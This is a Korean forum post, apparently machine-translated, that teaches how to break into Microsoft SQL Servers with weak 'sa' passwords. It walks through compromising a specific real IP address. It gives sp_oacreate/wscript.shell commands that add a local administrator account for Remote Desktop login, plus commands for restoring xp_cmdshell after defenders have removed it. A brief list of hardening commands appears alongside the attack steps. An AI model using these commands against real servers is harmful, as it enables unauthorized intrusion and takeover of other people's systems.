컴퓨터 지식 네트워크 - 컴퓨터 시스템 - 'xp_cmdshell' 개체(데이터베이스 '마스터', 소유자 'dbo')에 대한 EXECUTE 권한이 거부되었습니까? 긴급한

'xp_cmdshell' 개체(데이터베이스 '마스터', 소유자 'dbo')에 대한 EXECUTE 권한이 거부되었습니까? 긴급한

sa 스토리지 확장이 삭제되면...sa 취약한 비밀번호 관련 명령

이런 경험 있으신 분 계시나요? SQL 종합활용 툴을 이용하여 연결에 성공하면 바로 명령어를 실행하여 계정을 생성하는 경우도 있습니다.

명령어 실행 시 다음과 같은 상황이 발생하여 작업하신 sa 비밀번호가 취약해지는 경우도 있습니다. 스캔하기 너무 어렵습니다. 실패~

예를 들어 명령을 실행한 후 에코 1: 저장 프로시저 'master..xpcmdshell'을 찾을 수 없습니다.

에코 2: 불가능 DLL xpsql70.dll 또는 참조된 DLL을 로드합니다. 이유 126(지정된 모듈을 찾을 수 없습니다.)

에코 3: 'xp_cmdshell' 개체(데이터베이스 '마스터', 소유자 'dbo')에 대한 EXECUTE 권한이 거부되었습니다.

기다리는 사람이 더 있을 수도 있습니다. 이는 비교적 일반적입니다.

이런 상황에 직면하자 웨이터들은 어찌할 바를 모르고 가슴과 발을 구르며 신사를 욕하고 관리인을 욕하기까지 했다. . .

하하, 에코 1과 2는 대개 관리자 lj나 중급 사용자의 작업이고 일반적으로 복구 가능한 쉘이라고 생각합니다. Echo 3은 sa의 권한을 줄이고 systemadmin과의 연결을 끊는 고전적인 작업입니다. . . 이 상황에 대한 더 나은 해결책이 없습니다. (아시면 알려주세요^_^)

이제 제가 그런 상황에 어떻게 대처했는지 자세히 보여드리겠습니다.

사용 도구: SQL Query Splitter 레저 빌리지 스페셜 에디션.

찾으시지 못하실까봐 다운로드 주소를 알려드리겠습니다

SQL 쿼리 분석기 캐주얼 빌리지 분리 버전

/ware /774710/sqlquery.zip

다음을 검색한다고 가정해 보겠습니다.

[219.84.135.161]: SQL-Server의 취약한 비밀번호 "sa/[비밀번호는 사용자 이름과 동일합니다.]"

[219.84 .135.161]: "SQL-Server Weak Password" 검사 완료, 1개 발견.

3389도 열렸습니다!

먼저 SQL 종합활용툴을 열어보세요

접속을 시도해보세요

접속이 성공했는지 확인해보세요.

명령을 실행하면 메시지가 표시됩니다

DLL C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplo.dll을 로드할 수 없거나 특정 DLL이 참조됩니다. 이유: 126(지정된 모듈을 찾을 수 없습니다.)

현재로는 더 이상 진행할 수 없습니다.

아래의 SQL 쿼리 분할기를 엽니다.

로그인

흰색 이미지가 나옵니다. . .

하하

아.

이 IP는 3389에 열려있습니다.

먼저 3389에 로그인하여 성공했는지 확인해 보겠습니다.

말하는 걸 깜빡했네요

보세요. Windows2000 서버 버전

이 준비되었습니다.

그런 다음 SQL 쿼리 분할기에 명령을 입력합니다.

declare @shell int exec sp_oacreate 'wscript.shell', @shell output exec sp_oamethod @shell, 'run', null, 'c:\winnt\system32 \cmd.exe /c net user test 123 /add'

이 명령은 사용자 이름 test와 비밀번호 123으로 사용자를 생성하는 명령입니다.

입력 후 F5를 누르세요

p >

에코 0에서 다음과 같은 테이블을 볼 수 있습니다. 이와 같이.

성공을 의미합니다. "명령이 성공적으로 완료되었습니다"라는 메시지가 나오면 성공하지 못했다는 뜻이에요~

하하, 속지 마세요.

다음은 테스트 권한을 증가시킵니다

명령 입력

declare @shell int exec sp_oacreate 'wscript.shell', @shell output exec sp_oamethod @shell , 'run', null, 'c:\winnt\system32\cmd.exe /c net localgroup Administrators test /add'

테스트를 관리자로 승격

F5를 눌러 실행 명령 및 반환 이전과 동일하게 나타납니다. . .

다음으로 3389에 로그인합니다.

계정 테스트 사용

비밀번호 123

로그인할 수 있는지 확인하세요. . . .

들어가세요. . .

하하. . .

********************************************* ***** ***************************************

sa 취약한 비밀번호 관련 명령

sa 취약한 비밀번호와 관련된 일부 명령 요약.

참고: 특정 문제를 자세히 분석한 방법은 참고용일 뿐이며 그렇지 않을 수도 있습니다. 관련 원리와 지식을 직접 찾아보세요. 중요한 팁! 위에 제공된 방법은 학습 및 연구용으로만 사용됩니다! 국내 호스트에게 피해를 주는 어떠한 불법행위도 하지 말아주세요! 그렇지 않으면 모든 결과에 대한 책임은 귀하에게 있습니다! 재인쇄 시 이 정보를 보관하십시오.

1. sa 비밀번호 방식 변경:

SQL 종합활용툴로 접속 후 다음 명령어 실행:

exec sp_password NULL, '새 비밀번호' , 'sa '

(팁: 주의해서 사용하세요!)

2. sa 취약한 비밀번호를 간단하게 복구합니다.

방법 1: 스플리터를 쿼리하고 실행합니다. 연결 후:

존재하는 경우(

dbo.sysobjects에서 * 선택, 여기서 id = object_id(N'[dbo].[xp_cmdshell]') 및

OBJECTPROPERTY(id, N' IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

GO

그런 다음 F5를 누릅니다. 키를 눌러 명령 실행을 완료합니다.

방법 2: 스플리터 연결을 쿼리한 후

첫 번째 단계는 실행입니다. 마스터를 사용합니다.

두 번째 단계는 실행입니다. : sp_dropextendedproc 'xp_cmdshell'

그런 다음 F5 키를 눌러 명령 실행을 완료합니다.

3. xp_cmdshell 실행을 재개하는 일반적인 상황입니다.

1 저장 프로시저 'master..xpcmdshell'을 찾을 수 없습니다.

복구 방법: Splitter 연결을 쿼리한 후

첫 번째 단계가 실행됩니다: EXEC sp_addextendedproc xp_cmdshell, @dllname =' xplog70.dll'declare @o int

두 번째 단계가 실행됩니다: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

그런 다음 F5 키를 눌러 명령 실행을 완료합니다

p>

2 DLL xpsql70.dll 또는 DLL에서 참조하는 DLL을 로드할 수 없습니다. 이유 126(지정된 모듈을 찾을 수 없습니다.)

복구 방법: 분할기 연결을 쿼리한 후

첫 번째 단계는 실행하는 것입니다: sp_dropextendedproc "xp_cmdshell"

아니요. 2단계 실행: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

그런 다음 F5 키를 눌러 명령 실행을 완료합니다.

3 xp_cmdshell 함수를 찾을 수 없습니다. xpweb70.dll 라이브러리에 있습니다. 이유: 127(지정한 프로그램을 찾을 수 없습니다.

)

복구 방법: Splitter 연결을 쿼리한 후

첫 번째 단계는 다음과 같습니다. exec sp_dropextendedproc 'xp_cmdshell'

두 번째 단계는 다음과 같습니다. exec sp_addextendedproc 'xp_cmdshell ', 'xpweb70.dll'

그런 다음 F5 키를 눌러 명령 실행을 완료합니다.

4. 최종 방법.

위 방법 중 어느 것도 해당되지 않는 경우 복구할 수 있습니다. 다음 방법을 사용하여 계정을 직접 추가할 수 있습니다:

splitter 연결을 쿼리한 후

2000server 시스템:

declare @shell int exec sp_oacreate 'wscript.shell', @ 쉘 출력 exec sp_oamethod @shell, 'run', null, 'c:\winnt\system32\cmd.exe /c net user 새 사용자 비밀번호 /add'

declare @shell int exec sp_oacreate 'wscript.shell', @shell 출력 exec sp_oamethod @shell, 'run', null, 'c:\winnt\system32\cmd.exe /c net localgroup 관리자 새 사용자/추가'

xp 또는 2003서버 시스템:

declare @shell int exec sp_oacreate 'wscript.shell', @shell 출력 exec sp_oamethod @shell, 'run', null, 'c:\windows\system32\cmd .exe /c net user 새 사용자 비밀번호 /add'

declare @shell int exec sp_oacreate 'wscript.shell', @shell 출력 exec sp_oamethod @shell, 'run', null, 'c:\windows \system32\cmd.exe /c net localgroup 관리자 새 사용자/추가'

上篇: 비디오 카드 마스터 루는 그래픽 카드를 6만점 등급으로 구동할 수 있고, 중고도 300점 이하 등급으로 구동할 수 있다. 下篇: 핸드폰 케이스 가방 안에 하얀 조각이 있는데 뭐가 있나요?
관련 내용